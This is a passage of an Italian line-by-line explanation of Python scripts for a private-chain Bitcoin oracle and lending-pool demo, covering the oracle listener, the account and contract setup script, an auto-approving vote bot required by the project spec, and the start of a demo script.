118	`# Aggiungi output (crea nuovi UTXO)`	Commento.
119	`for n, vout in enumerate(tx.vout):`	Loop outputs.

L#	Codice	Spiegazione
120	`addr = extract_address(vout.scriptPubKey)`	Decode address.
121	`if addr:`	Se valido.
122	`utxos[(txid_hex, n)] = (addr, vout.nValue)`	Aggiungi UTXO.
123	`balances[addr] = balances.get(addr, 0) + vout.nValue`	Incrementa saldo.
124		Vuota.
125		Vuota.
126	`def parse_blocks():`	Wrapper: 3 fasi insieme.
127	`"""Ricostruisce UTXO set dai blk.dat, elaborando un blocco alla volta in ordine di altezza."""`	Docstring.
128	`print("Caricamento blocchi...")`	Log.
129	`all_blocks = load_all_blocks()`	Fase 1.
130		Vuota.
131	`print("Ordinamento per altezza...")`	Log.
132	`ordered_blocks = sort_blocks_by_height(all_blocks)`	Fase 2.
133		Vuota.
134	`print("Elaborazione UTXO set (un blocco alla volta)...")`	Log.
135	`utxos = {} # (txid_hex, n) -> (address, satoshi)`	UTXO set.
136	`balances = {} # address -> satoshi`	Saldi.
137		Vuota.
138	`for i, block in enumerate(ordered_blocks):`	Loop block-by-block (Spec §1.4).
139	`process_block(block, utxos, balances)`	Applica.
140	`if (i + 1) % 10000 == 0:`	Progress ogni 10k.
141	`print(f" Elaborati {i + 1} blocchi...")`	Log.
142		Vuota.
143	`print(f"Parsing completato. Indirizzi con saldo: {len(balances)}")`	Log.
144		Vuota.
145	`# Converti indirizzi stringa in hash bytes32 (come nel contratto Solidity)`	Commento.
146	`hashed_balances = {}`	Dict finale chiave bytes32.
147	`for addr, val in balances.items():`	Itera saldi.
148	`if val > 0:`	Solo positivi.
149	`addr_hash = Web3.keccak(text=addr)`	Calcola hash con stessa formula del contratto (keccak256 della stringa).
150	`hashed_balances[addr_hash] = val`	Save.
151		Vuota.
152	`return hashed_balances`	Ritorna.
153		Vuota.
154		Vuota.
155	`def listen_to_requests(balances, w3, oracle_contract, operator_account):`	Fase 4: ascolta UpdateRequested e risponde.
156	`print("In ascolto di richieste UpdateRequested...")`	Log.
157	`event_filter = oracle_contract.events.UpdateRequested.create_filter(from_block='latest')`	Crea filter persistente sul nodo.
158		Vuota.
159	`while True:`	Polling loop infinito.
160	`try:`	Try.
161	`for event in event_filter.get_new_entries():`	Nuovi eventi dal filter.
162	`btc_address_hash = event['args']['btcAddressHash']`	Estrae hash.
163	`requester = event['args']['requester']`	Chi ha pagato la fee.
164	`print(f"Richiesta per hash {btc_address_hash.hex()} da {requester}")`	Log.
165		Vuota.
166	`balance = balances.get(btc_address_hash, 0)`	Lookup nel set off-chain. Default 0 se non visto.
167	`print(f" Saldo: {balance} satoshi")`	Log.
168		Vuota.
169-174	`tx = oracle_contract.functions.update(btc_address_hash, balance).build_transaction({...})`	Costruisce tx update(hash, sat).
175		Vuota.
176	`signed_tx = operator_account.sign_transaction(tx)`	Firma con chiave operator.

L#	Codice	Spiegazione
177	`tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction) # v7 API`	Invia. Commento note: web3.py v7 usa raw_transaction (era rawTransaction in v6).
178	`w3.eth.wait_for_transaction_receipt(tx_hash)`	Attende mining.
179	`print(f" Update inviato. Tx: {tx_hash.hex()}")`	Log.
180		Vuota.
181	`except Exception as e:`	Errori (RPC blip, ecc).
182	`print(f"Errore evento: {e}")`	Log.
183		Vuota.
184	`time.sleep(POLL_INTERVAL)`	Poll ogni 2 s.
185		Vuota.
186		Vuota.
187	`def main():`	Entry-point.
188	`balances = parse_blocks()`	Costruisce UTXO set + balances all'avvio (pesante: pochi minuti).
189		Vuota.
190	`w3 = Web3(Web3.HTTPProvider(WEB3_PROVIDER_URI))`	Connect.
191	`w3.middleware_onion.inject(ExtraDataToPOAMiddleware, layer=0) # web3.py v7`	Inietta middleware PoA (Clique extradata > 32 byte richiede questo).
192		Vuota.
193	`if not w3.is_connected():`	Sanity.
194	`print("Errore: impossibile connettersi a Web3.")`	Log.
195	`return`	Esci.
196		Vuota.
197	`if not os.path.exists(CONTRACT_INFO_FILE):`	Sanity.
198	`print(f"Errore: {CONTRACT_INFO_FILE} non trovato. Esegui prima setup.py.")`	Log.
199	`return`	Esci.
200		Vuota.
201	`with open(CONTRACT_INFO_FILE, 'r') as f:`	Apri config.
202	`contract_info = json.load(f)`	Parse.
203		Vuota.
204-207	`oracle_contract = w3.eth.contract(address=contract_info['address'], abi=contract_info['abi'])`	Istanzia contract object.
208		Vuota.
209	`operator_pk = os.environ.get('OPERATOR_PRIVATE_KEY')`	Chiave operator da env (Spec: non commitata).
210	`if not operator_pk:`	Sanity.
211	`print("Manca OPERATOR_PRIVATE_KEY nell'ambiente.")`	Log.
212	`return`	Esci.
213		Vuota.
214	`operator_account = w3.eth.account.from_key(operator_pk)`	Crea Account object.
215	`print(f"Operatore: {operator_account.address}")`	Log.
216		Vuota.
217	`listen_to_requests(balances, w3, oracle_contract, operator_account)`	Avvia listener.
218		Vuota.
219		Vuota.
220	`if __name__ == '__main__':`	Entry-point Python.
221	`main()`	Esegui.

scripts/InitialSetup.py

Bootstrap one-shot della rete privata. Crea account, deploya tutti i contratti, scrive i JSON di config.

L#	Codice	Spiegazione
1-25	`Module docstring`	Spiega: cosa fa, spec compliance §1.5, prerequisiti, output.
27	`import json`	JSON I/O.
28	`import os`	Env vars.
29	`import sys`	sys.exit per errori.
30	`from pathlib import Path`	Path.
31		Vuota.
32	`from eth_account import Account`	Crea/decrypt account.
33	`from web3 import Web3`	Client RPC.
34		Vuota.
35	`# ■■ Paths ■■■■■■■■■■■■`	Divider.
36		Vuota.
37	`PROJECT_ROOT = Path(__file__).resolve().parent.parent`	Root.
38	`DATA_DIR = PROJECT_ROOT / "data"`	data/.
39-43	`KEYSTORE_PATH = ... UTC--2026-05-05T14-09-10... d278d247a52c550508ea2b2c9321d816238fb523`	Path del keystore del sealer (formato UTC- standard geth).
44	`PASSWORD_FILE = PROJECT_ROOT / "0xd278d247A52 C550508ea2b2C9321d816238fb523psw.txt"`	File password (formato 0xADDR psw).
45		Vuota.
46	`ARTIFACTS = PROJECT_ROOT / "artifacts"`	Cartella artifact Hardhat.
47	`ORACLE_ARTIFACT = ARTIFACTS / "contracts" / "BitcoinOracle.sol" / "BitcoinOracle.json"`	Path artifact oracle.
48	`POOL_ARTIFACT = ARTIFACTS / "contracts" / "LendingPool.sol" / "LendingPool.json"`	Path artifact pool.
49-51	`PROXY_ARTIFACT = ARTIFACTS / "contracts" / "LocalProxy.sol" / "LocalERC1967Proxy.json"`	Path artifact proxy.
52		Vuota.
53	`ACCOUNTS_FILE = DATA_DIR / "accounts.json"`	Output: account + chiavi.
54	`ORACLE_INFO_FILE = DATA_DIR / "oracle_contract_info.json"`	Output: oracle info.
55	`POOL_INFO_FILE = DATA_DIR / "lending_pool_info.json"`	Output: pool info.
56		Vuota.
57	`# ■■ Config (env-overridable) ■■■■■■■■■■■■`	Divider.
58		Vuota.
59	`RPC_URL = os.environ.get("RPC_URL", "http://127.0.0.1:8545")`	Endpoint geth.
60	`CHAIN_ID = int(os.environ.get("CHAIN_ID", "202526"))`	Chain ID.
61		Vuota.
62	`N_CONTRIBUTORS = int(os.environ.get("N_CONTRIBUTORS", "3"))`	Default 3 contributor.
63	`M_APPLICANTS = int(os.environ.get("M_APPLICANTS", "2"))`	Default 2 applicant.
64		Vuota.
65	`# Funding amounts (ETH)`	Commento.
66	`FUND_DEPLOYER = float(os.environ.get("FUND_DEPLOYER", "10"))`	ETH per deployer.
67	`FUND_OPERATOR = float(os.environ.get("FUND_OPERATOR", "1"))`	ETH per oracle_operator.
68	`FUND_AUTO_VOTER = float(os.environ.get("FUND_AUTO_VOTER", "5"))`	ETH per auto_voter.
69	`FUND_CONTRIBUTOR = float(os.environ.get("FUND_CONTRIBUTOR", "5"))`	ETH per contributor.
70	`FUND_APPLICANT = float(os.environ.get("FUND_APPLICANT", "1"))`	ETH per applicant.
71		Vuota.
72	`# ■■ Helpers ■■■■■■■■■■■■`	Divider.
73		Vuota.
74		Vuota.
75	`def load_artifact(path: Path) -> dict:`	Helper carica JSON artifact.
76	`if not path.exists():`	Sanity.

L#	Codice	Spiegazione
77	`sys.exit(f"ERROR: artifact not found: {path}\nRun `npx hardhat compile` first.")`	Exit con messaggio chiaro.
78	`with open(path) as f:`	Apri.
79	`return json.load(f)`	Parse + ritorna.
80		Vuota.
81		Vuota.
82	`def wei_to_eth(w: int) -> float:`	Helper conversione.
83	`return w / 1e18`	Wei → ETH.
84		Vuota.
85		Vuota.
86-87	`def send_eth(w3, sender_key, sender_addr, nonce, to_addr, eth_amount) -> str:`	Trasferimento ETH semplice (Spec §1.5: solo uso del sealer).
88-95	`tx = { 'to': ..., 'value': w3.to_wei(eth_amount, 'ether'), 'gas': 21_000, ... }`	Costruzione tx EOA→EOA standard.
96	`signed = w3.eth.account.sign_transaction(tx, sender_key)`	Firma.
97	`h = w3.eth.send_raw_transaction(signed.raw_transaction)`	Invia.
98	`w3.eth.wait_for_transaction_receipt(h)`	Attende mining (Clique 10s per blocco).
99	`return h.hex()`	Ritorna hash hex.
100		Vuota.
101		Vuota.
102-104	`def deploy_contract(w3, artifact, deployer_key, deployer_addr, nonce, *constructor_args, gas=5_000_000) -> tuple[str, int]:`	Helper deploy generico. Ritorna (address, gas_used).
105	`Contract = w3.eth.contract(abi=artifact["abi"], bytecode=artifact["bytecode"])`	Crea contract factory.
106-112	`tx = Contract.constructor(*constructor_args).build_transaction({ ... })`	Costruisce tx di deploy con i constructor args passati.
113	`signed = w3.eth.account.sign_transaction(tx, deployer_key)`	Firma.
114	`h = w3.eth.send_raw_transaction(signed.raw_transaction)`	Invia.
115	`rcpt = w3.eth.wait_for_transaction_receipt(h)`	Attende.
116	`if rcpt.status != 1:`	Sanity.
117	`sys.exit(f"ERROR: deployment failed, tx {h.hex()}")`	Exit.
118	`return rcpt.contractAddress, rcpt.gasUsed`	Ritorna address + gas.
119		Vuota.
120		Vuota.
121	`# ■■ Main ■■■■■■■■■■■■`	Divider.
122		Vuota.
123		Vuota.
124	`def main():`	Entry-point.
125	`print(f"Connecting to {RPC_URL}…")`	Log.
126	`w3 = Web3(Web3.HTTPProvider(RPC_URL))`	Connect.
127	`if not w3.is_connected():`	Sanity.
128	`sys.exit(f"ERROR: cannot connect to {RPC_URL}")`	Exit.
129	`node_chain_id = w3.eth.chain_id`	Leggi chain ID.
130	`if node_chain_id != CHAIN_ID:`	Sanity match.
131-133	`sys.exit(f"ERROR: chainId mismatch — node reports {node_chain_id}, expected {CHAIN_ID}")`	Exit con dettaglio.
134	`print(f"Connected. chainId={CHAIN_ID}. Latest block: {w3.eth.block_number}")`	Log.
135		Vuota.
136	`# ■■ Step 0: cleanup stale artifacts from previous run ■■■■■■`	Step 0 comment.
137	`print("\n■■ Step 0: cleaning up stale JSON artifacts ■■")`	Log.
138	`for f in (ACCOUNTS_FILE, ORACLE_INFO_FILE, POOL_INFO_FILE):`	Loop.
139	`if f.exists():`	Esistenza.
140	`f.unlink()`	Cancella (idempotente).
141	`print(f" removed {f.name}")`	Log.
142		Vuota.

L#	Codice	Spiegazione
143	`# ■■ Step 1: create accounts ■■■■■`	Step 1.
144	`print("\n■■ Step 1: creating accounts ■■")`	Log.
145	`deployer = Account.create()`	Nuovo account deployer.
146	`oracle_operator = Account.create()`	Operator oracolo.
147	`auto_voter = Account.create()`	Bot voter.
148	`contributors = [Account.create() for _ in range(N_CONTRIBUTORS)]`	N contributor.
149	`applicants = [Account.create() for _ in range(M_APPLICANTS)]`	M applicant.
150		Vuota.
151	`print(f" deployer: {deployer.address}")`	Log.
152	`print(f" oracle_operator: {oracle_operator.address}")`	Log.
153	`print(f" auto_voter: {auto_voter.address}")`	Log.
154	`for i, a in enumerate(contributors):`	Loop log.
155	`print(f" contributor[{i}]: {a.address}")`	Log.
156	`for i, a in enumerate(applicants):`	Loop log.
157	`print(f" applicant[{i}]: {a.address}")`	Log.
158		Vuota.
159	`# ■■ Step 2: unlock genesis + fund accounts ■■■■■`	Step 2.
160	`print("\n■■ Step 2: funding from genesis prefunded account ■■")`	Log.
161	`if not PASSWORD_FILE.exists():`	Sanity.
162	`sys.exit(f"ERROR: password file missing: {PASSWORD_FILE}")`	Exit.
163	`if not KEYSTORE_PATH.exists():`	Sanity.
164	`sys.exit(f"ERROR: keystore missing: {KEYSTORE_PATH}")`	Exit.
165		Vuota.
166	`password = PASSWORD_FILE.read_text().strip()`	Legge password (strip newline).
167	`keystore_json = KEYSTORE_PATH.read_text()`	Legge keystore.
168	`print(f" unlocking keystore for genesis account…")`	Log.
169	`genesis_pk = Account.decrypt(keystore_json, password)`	Decrypt.
170	`genesis = Account.from_key(genesis_pk)`	Crea Account object.
171	`print(f" genesis: {genesis.address}")`	Log.
172-174	`print(f" genesis balance: {wei_to_eth(w3.eth.get_balance(genesis.address)):,.4f} ETH")`	Log saldo.
175		Vuota.
176	`nonce = w3.eth.get_transaction_count(genesis.address)`	Nonce iniziale.
177		Vuota.
178-182	`transfers = [("deployer", deployer.address, FUND_DEPLOYER), ...]`	Lista (label, addr, amount) per il funding.
183	`for i, a in enumerate(contributors):`	Aggiunge contributor.
184	`transfers.append((f"contributor[{i}]", a.address, FUND_CONTRIBUTOR))`	Aggiunge.
185	`for i, a in enumerate(applicants):`	Aggiunge applicant.
186	`transfers.append((f"applicant[{i}]", a.address, FUND_APPLICANT))`	Aggiunge.
187		Vuota.
188	`for label, addr, amount in transfers:`	Loop trasferimenti.
189	`send_eth(w3, genesis_pk, genesis.address, nonce, addr, amount)`	*** UNICO uso del sealer: solo trasferimenti (Spec §1.5). ***
190	`nonce += 1`	Aumenta nonce manuale.
191	`bal = wei_to_eth(w3.eth.get_balance(addr))`	Read saldo.
192	`print(f" funded {label:<18} {addr} → {bal:>8.4f} ETH")`	Log.
193		Vuota.
194	`# ■■ Step 3: deploy BitcoinOracle ■■■■■`	Step 3.
195	`print("\n■■ Step 3: deploying BitcoinOracle (sender = oracle_operator) ■■")`	Log.
196	`oracle_artifact = load_artifact(ORACLE_ARTIFACT)`	Load.
197	`op_nonce = w3.eth.get_transaction_count(oracle_operator.address)`	Nonce.

L#	Codice	Spiegazione
198-201	`oracle_addr, gas_oracle = deploy_contract(w3, oracle_artifact, oracle_operator.key, oracle_operator.address, op_nonce, gas=2_000_000)`	Deploy. Operator = chi deploya.
202	`print(f" BitcoinOracle deployed at {oracle_addr} (gas {gas_oracle})")`	Log.
203		Vuota.
204	`# Sanity check: operator address stored`	Commento check.
205	`oracle_iface = w3.eth.contract(address=oracle_addr, abi=oracle_artifact["abi"])`	Istanzia.
206	`op_read = oracle_iface.functions.operator().call()`	Legge operator on-chain.
207	`assert op_read == oracle_operator.address, "operator mismatch"`	Match.
208		Vuota.
209	`# ■■ Step 4: deploy LendingPool impl + ERC1967 proxy ■■■■■`	Step 4.
210	`print("\n■■ Step 4: deploying LendingPool implementation + ERC1967Proxy ■■")`	Log.
211	`pool_artifact = load_artifact(POOL_ARTIFACT)`	Load impl artifact.
212	`proxy_artifact = load_artifact(PROXY_ARTIFACT)`	Load proxy artifact.
213		Vuota.
214	`dep_nonce = w3.eth.get_transaction_count(deployer.address)`	Nonce deployer.
215		Vuota.
216	`# 4a — Implementation`	Sub-step.
217-220	`impl_addr, gas_impl = deploy_contract(w3, pool_artifact, deployer.key, deployer.address, dep_nonce, gas=6_000_000)`	Deploy impl (no constructor args).
221	`dep_nonce += 1`	Bump.
222	`print(f" implementation: {impl_addr} (gas {gas_impl})")`	Log.
223		Vuota.
224	`# 4b — Encode initialize(oracleAddress) for proxy constructor`	Sub-step.
225	`impl_iface = w3.eth.contract(address=impl_addr, abi=pool_artifact["abi"])`	Istanzia.
226	`init_data = impl_iface.encode_abi("initialize", args=[oracle_addr])`	Codifica selector + args di initialize.
227		Vuota.
228	`# 4c — Deploy ERC1967Proxy(impl, initData)`	Sub-step.
229-233	`proxy_addr, gas_proxy = deploy_contract(w3, proxy_artifact, deployer.key, deployer.address, dep_nonce, impl_addr, init_data, gas=6_000_000)`	Deploy proxy con args (impl_addr, init_data).
234	`print(f" proxy: {proxy_addr} (gas {gas_proxy})")`	Log.
235		Vuota.
236	`# Sanity check: read state via proxy (delegatecall path)`	Commento check.
237	`pool_via_proxy = w3.eth.contract(address=proxy_addr, abi=pool_artifact["abi"])`	Istanzia.
238	`pct = pool_via_proxy.functions.collateralPercentage().call()`	Legge collateral.
239	`owner = pool_via_proxy.functions.owner().call()`	Legge owner.
240	`oracle_read = pool_via_proxy.functions.oracle().call()`	Legge oracle.
241-243	`print(f" proxy state: owner={owner}, collateralPercentage={pct}, oracle={oracle_read}")`	Log.
244	`assert pct == 50, "initial collateralPercentage must be 50"`	Spec §1.3.
245	`assert owner == deployer.address, "owner must be deployer"`	Check.
246	`assert oracle_read.lower() == oracle_addr.lower(), "oracle address mismatch"`	Check (lowercase per uniformare).

L#	Codice	Spiegazione
247		Vuota.
248	`# ■■ Step 5: write config files ■■■■■`	Step 5.
249	`print("\n■■ Step 5: writing config files ■■")`	Log.
250	`DATA_DIR.mkdir(parents=True, exist_ok=True)`	Crea cartella se serve.
251		Vuota.
252	`accounts_dict = {`	Costruisce dict per accounts.json.
253	`"deployer": {"address": deployer.address, "key": deployer.key.hex()},`	Deployer.
254-257	`"oracle_operator": {...}, "auto_voter": {...}, "contributors": [...], "applicants": [...]`	Tutti gli account + chiavi.
258-264	`(lista comprehension contributors/applicants)`	Build.
265	`}`	Fine dict.
266	`ACCOUNTS_FILE.write_text(json.dumps(accounts_dict, indent=2))`	Salva.
267	`print(f" wrote {ACCOUNTS_FILE}")`	Log.
268		Vuota.
269-272	`ORACLE_INFO_FILE.write_text(json.dumps({"address": oracle_addr, "abi": oracle_artifact["abi"]}, indent=2))`	Salva oracle info.
273	`print(f" wrote {ORACLE_INFO_FILE}")`	Log.
274		Vuota.
275-284	`POOL_INFO_FILE.write_text(json.dumps({"proxy": ..., "implementation": ..., "abi": ...}, indent=2))`	Salva pool info (proxy + impl + abi).
285	`print(f" wrote {POOL_INFO_FILE}")`	Log.
286		Vuota.
287	`# ■■ Final summary ■■■■■`	Step finale.
288	`print("\n■■ Final state ■■")`	Log.
289	`print(f"BitcoinOracle deployed: {oracle_addr}")`	Log.
290	`print(f"LendingPool proxy: {proxy_addr}")`	Log.
291	`print(f"LendingPool impl: {impl_addr}")`	Log.
292	`print()`	Vuota.
293-300	`for label, addr in [...]: print(f" {label:<10} {addr} balance: ...")`	Stampa saldi finali per deployer/operator/voter.
301-305	`for i, a in enumerate(contributors): print(...)`	Stampa saldi contributor.
306-310	`for i, a in enumerate(applicants): print(...)`	Stampa saldi applicant.
311		Vuota.
312	`print("\nSetup complete.")`	Final log.
313		Vuota.
314		Vuota.
315	`if __name__ == "__main__":`	Entry-point.
316	`main()`	Esegui.

scripts/AutoVoter.py

Bot 'approve-everything' richiesto da Spec §1.5: deve notare nuove proposte e votare APPROVE.

L#	Codice	Spiegazione
1	`#!/usr/bin/env python3`	Shebang.
2-31	`Module docstring`	Spiega scopo, input, env config, exit codes.
32	`from __future__ import annotations`	PEP 563 forward refs.
33		Vuota.
34	`import json`	JSON I/O.
35	`import os`	Env.
36	`import signal`	Handler SIGINT/SIGTERM.
37	`import sys`	Exit.
38	`import time`	Sleep loop.
39	`from datetime import datetime, timezone`	Timestamp ISO.
40	`from pathlib import Path`	Path.
41		Vuota.
42	`from eth_account import Account`	Account ops.
43	`from web3 import Web3`	Client RPC.
44	`from web3.exceptions import Web3RPCError`	Exception specifica.
45		Vuota.
46	`# ■■ Paths ■■■■■`	Divider.
47	`SCRIPT_DIR = Path(__file__).resolve().parent`	Path.
48	`PROJECT_ROOT = SCRIPT_DIR.parent`	Root.
49	`DATA_DIR = PROJECT_ROOT / "data"`	Data.
50	`ACCOUNTS_FILE = DATA_DIR / "accounts.json"`	Input.
51	`POOL_INFO_FILE = DATA_DIR / "lending_pool_info.json"`	Input.
52		Vuota.
53	`# ■■ Config ■■■■■`	Divider.
54	`RPC_URL = os.environ.get("RPC_URL", "http://127.0.0.1:8545")`	Env.
55	`POLL_INTERVAL = float(os.environ.get("POLL_INTERVAL", "5"))`	Sec polling.
56	`START_BLOCK = os.environ.get("START_BLOCK", "latest")`	Da quale block.
57	`AUTO_VOTER_DEPOSIT_ETH = float(os.environ.get("AUTO_VOTER_DEPOSIT", "0.1"))`	Bootstrap deposit.
58	`LOG_FILE = os.environ.get("AUTO_VOTER_LOG_FILE", str(DATA_DIR / "auto_voter.log"))`	Log path.
59		Vuota.
60	`PROPOSAL_STATUS_ACTIVE = 0 # enum index from LendingPool.sol`	Mappa enum.
61		Vuota.
62	`# ■■ Globals for signal handling ■■■■■`	Divider.
63	`_running = True`	Flag globale.
64		Vuota.
65		Vuota.
66	`def _handle_signal(signum, _frame):`	Signal handler.
67	`global _running`	Modifica globale.
68	`_running = False`	Imposta False.
69	`log("INFO", "signal", f"received signum={signum}", "initiating shutdown")`	Log.
70		Vuota.
71		Vuota.
72	`def log(level, event, action, result):`	Logging strutturato.
73	`"""Structured stdout + optional file log."""`	Docstring.
74	`ts = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")`	Timestamp UTC.
75	`line = f"[{ts}] level={level} event={event} action={action} result={result}"`	Format.
76	`print(line, flush=True)`	Stdout.
77	`if LOG_FILE:`	Se path attivo.
78	`try:`	Try.
79	`with open(LOG_FILE, "a") as f:`	Append.
80	`f.write(line + "\n")`	Scrivi riga.

L#	Codice	Spiegazione
81	except OSError:	Catch.
82	pass	Ignora.
83		Vuota.
84		Vuota.
85	def load_inputs():	Carica accounts + pool info.
86	if not ACCOUNTS_FILE.exists():	Sanity.
87	sys.exit(f"ERROR: {ACCOUNTS_FILE} not found — run InitialSetup.py first")	Exit.
88	if not POOL_INFO_FILE.exists():	Sanity.
89	sys.exit(f"ERROR: {POOL_INFO_FILE} not found — run InitialSetup.py first")	Exit.
90		Vuota.
91	accounts = json.loads(ACCOUNTS_FILE.read_text())	Load.
92	pool_info = json.loads(POOL_INFO_FILE.read_text())	Load.
93	av = accounts.get("auto_voter")	Estrae auto_voter.
94	if not av or "key" not in av:	Sanity.
95	sys.exit("ERROR: auto_voter entry missing in accounts.json")	Exit.
96	return av, pool_info	Ritorna.
97		Vuota.
98		Vuota.
99	def send_tx(w3, key, tx):	Helper sign+send.
100	"""Sign + send + wait for receipt. Returns the receipt."""	Docstring.
101	signed = w3.eth.account.sign_transaction(tx, key)	Firma.
102	tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)	Invia.
103	return w3.eth.wait_for_transaction_receipt(tx_hash)	Attende e ritorna receipt.
104		Vuota.
105		Vuota.
106	def ensure_contributor(w3, pool, av_addr, av_key):	Bootstrap: deposit se non contributor.
107	"""Bootstrap: deposit if auto_voter is not yet a contributor."""	Docstring.
108	if pool.functions.isContributor(av_addr).call():	Check on-chain.
109	log("INFO", "bootstrap", "isContributor=true", "skip deposit")	Skip.
110	return True	Già contributor.
111		Vuota.
112	amount_wei = Web3.to_wei(AUTO_VOTER_DEPOSIT_ETH, "ether")	Calcola wei.
113-118	log("INFO", "bootstrap", f"deposit {AUTO_VOTER_DEPOSIT_ETH} ETH", ...)	Log.
119	nonce = w3.eth.get_transaction_count(av_addr)	Nonce.
120-129	tx = pool.functions.deposit().build_transaction({"from": av_addr, "value": amount_wei, ...})	Costruisce tx di deposit.
130	rcpt = send_tx(w3, av_key, tx)	Invia.
131	ok = rcpt.status == 1	Check.
132-137	log("INFO" if ok else "ERROR", ...)	Log esito.
138	return ok	Ritorna esito.
139		Vuota.
140		Vuota.
141-142	def vote_approve(w3, pool, av_addr, av_key, proposal_id):	Voto APPROVE su una proposta.
143	"""Send vote(proposalId, true) signed by auto_voter."""	Docstring.
144	# Pre-flight checks (avoid wasted gas on tx that will revert)	Commento.
145	try:	Try.
146	prop = pool.functions.getProposal(proposal_id).call()	Read proposta.
147	except Web3RPCError as e:	Catch RPC error.

L#	Codice	Spiegazione
148	`log("WARN", "vote", f"pid={proposal_id}", f"getProposal failed: {e}")`	Log.
149	`return`	Esci.
150	`status = prop[7]`	Indice 7 = status.
151	`if status != PROPOSAL_STATUS_ACTIVE:`	Solo se Active.
152-157	`log("WARN", ..., f"skipped — status={status} (not Active)")`	Log e return.
158	`return`	Esci.
159	`if pool.functions.hasVotedOn(proposal_id, av_addr).call():`	Già votato?
160	`log("INFO", "vote", f"pid={proposal_id}", "skipped — already voted")`	Log.
161	`return`	Esci.
162	`if not pool.functions.isContributor(av_addr).call():`	È contributor?
163-168	`log("WARN", "vote", f"pid={proposal_id}", "skipped — auto_voter is not a contributor")`	Log e esci.
169	`return`	Esci.
170		Vuota.
171	`nonce = w3.eth.get_transaction_count(av_addr)`	Nonce.
172-181	`tx = pool.functions.vote(proposal_id, True).build_transaction({...})`	Costruisce tx vote(pid, True).
182	`try:`	Try.
183	`rcpt = send_tx(w3, av_key, tx)`	Invia.
184	`except Web3RPCError as e:`	Catch.
185	`log("ERROR", "vote", f"pid={proposal_id}", f"send_tx failed: {e}")`	Log.
186	`return`	Esci.
187		Vuota.
188	`ok = rcpt.status == 1`	Check.
189-194	`log("INFO" if ok else "ERROR", "vote", f"pid={proposal_id} tx={rcpt.transactionHash.hex()}", ...)`	Log esito + gas.
195		Vuota.
196		Vuota.
197	`def main() -> int:`	Entry-point.
198	`av, pool_info = load_inputs()`	Carica.
199	`av_addr = Web3.to_checksum_address(av["address"])`	Checksum.
200	`av_key = bytes.fromhex(av["key"][2:] if av["key"].startswith("0x") else av["key"])`	Hex → bytes (strip 0x se presente).
201		Vuota.
202	`w3 = Web3(Web3.HTTPProvider(RPC_URL))`	Connect.
203	`if not w3.is_connected():`	Sanity.
204	`log("ERROR", "rpc", f"connect {RPC_URL}", "failed")`	Log.
205	`return 1`	Exit 1.
206	`chain_id = w3.eth.chain_id`	Read chain ID.
207-212	`log("INFO", "rpc", f"connected {RPC_URL}", f"chainId={chain_id} block={w3.eth.block_number}")`	Log.
213		Vuota.
214	`proxy_addr = Web3.to_checksum_address(pool_info["proxy"])`	Checksum.
215	`pool = w3.eth.contract(address=proxy_addr, abi=pool_info["abi"])`	Istanzia.
216-221	`log("INFO", "config", f"auto_voter={av_addr} pool={proxy_addr}", ...)`	Log.
222		Vuota.
223	`if not ensure_contributor(w3, pool, av_addr, av_key):`	Bootstrap.
224	`return 1`	Exit se KO.
225		Vuota.
226	`# Resolve start block`	Commento.
227	`if START_BLOCK == "latest":`	Default.
228	`last_block = w3.eth.block_number`	Da block corrente.
229	`else:`	Override.
230	`last_block = int(START_BLOCK)`	Custom.

L#	Codice	Spiegazione
231	`log("INFO", "filter", f"start_block={last_block}", "watching ProposalSubmitted")`	Log.
232		Vuota.
233	`signal.signal(signal.SIGINT, _handle_signal)`	Handler CTRL+C.
234	`signal.signal(signal.SIGTERM, _handle_signal)`	Handler kill.
235		Vuota.
236-238	`# Main loop: poll via eth_getLogs (no filter id → resilient to node restarts)`	Commento rationale.
239	`rpc_failures = 0`	Counter.
240	`while _running:`	Loop principale.
241	`try:`	Try.
242	`head = w3.eth.block_number`	Block corrente.
243	`if head >= last_block:`	Se c'è nuovo block.
244-246	`events = pool.events.ProposalSubmitted().get_logs(from_block=last_block, to_block=head)`	eth_getLogs su range.
247	`for ev in events:`	Itera eventi nuovi.
248	`pid = ev["args"]["proposalId"]`	ID.
249	`applicant = ev["args"]["applicant"]`	Chi.
250	`amount = ev["args"]["amount"]`	Quanto.
251-256	`log("INFO", "proposal_seen", ...)`	Log.
257	`vote_approve(w3, pool, av_addr, av_key, pid)`	*** VOTA APPROVE. ***
258	`last_block = head + 1`	Avanza puntatore.
259	`rpc_failures = 0`	Reset counter.
260	`except Web3RPCError as e:`	Catch.
261	`rpc_failures += 1`	Incrementa.
262	`log("WARN", "rpc", f"poll failure #{rpc_failures}", str(e))`	Log.
263	`if rpc_failures >= 10:`	Soglia.
264	`log("ERROR", "rpc", "too many failures", "giving up")`	Log.
265	`return 1`	Exit.
266		Vuota.
267	`# Sleep in small steps so SIGINT is honored promptly`	Commento.
268	`slept = 0.0`	Counter.
269	`while _running and slept < POLL_INTERVAL:`	Sleep frammentato.
270	`time.sleep(0.25)`	Step 250 ms.
271	`slept += 0.25`	Accumula.
272		Vuota.
273	`log("INFO", "shutdown", "clean exit", "ok")`	Log finale.
274	`return 0`	Exit 0.
275		Vuota.
276		Vuota.
277	`if __name__ == "__main__":`	Entry.
278	`sys.exit(main())`	Esegui.

scripts/DemoOperations.py

Demo end-to-end in 16 step. Stampa balance + stato dopo ogni operazione (Spec §1.5).

L#	Codice	Spiegazione
1-20	`Module docstring`	Scopo: drive ogni operazione utente del sistema. Prerequisiti: geth, InitialSetup.py eseguito, oracle_service in background, npx hardhat compile.
22	`import json`	JSON I/O.
23	`import os`	Env vars.
24	`import sys`	Exit.
25	`import time`	Sleep per mining wait.
26	`from pathlib import Path`	Path.
27		Vuota.
28	`from eth_account import Account`	Account.
29	`from web3 import Web3`	Client.
30	`from web3.logs import DISCARD`	Discard log non parsabili.
31		Vuota.
32	`# ■■ Paths ■■■■■`	Divider.
33		Vuota.
34	`PROJECT_ROOT = Path(__file__).resolve().parent.parent`	Root.
35	`DATA_DIR = PROJECT_ROOT / "data"`	Data.
36	`ARTIFACTS = PROJECT_ROOT / "artifacts"`	Artifacts.
37		Vuota.
38-41	`ACCOUNTS_FILE/POOL_INFO_FILE/ORACLE_INFO_FILE /LOAN_ARTIFACT_FILE`	Path JSON di input prodotti da InitialSetup.py.
42		Vuota.
43	`LOG_FILE = DATA_DIR / "demo_log.txt"`	Output log copia.
44		Vuota.
45	`# ■■ Config (env-overridable) ■■■■■`	Divider.
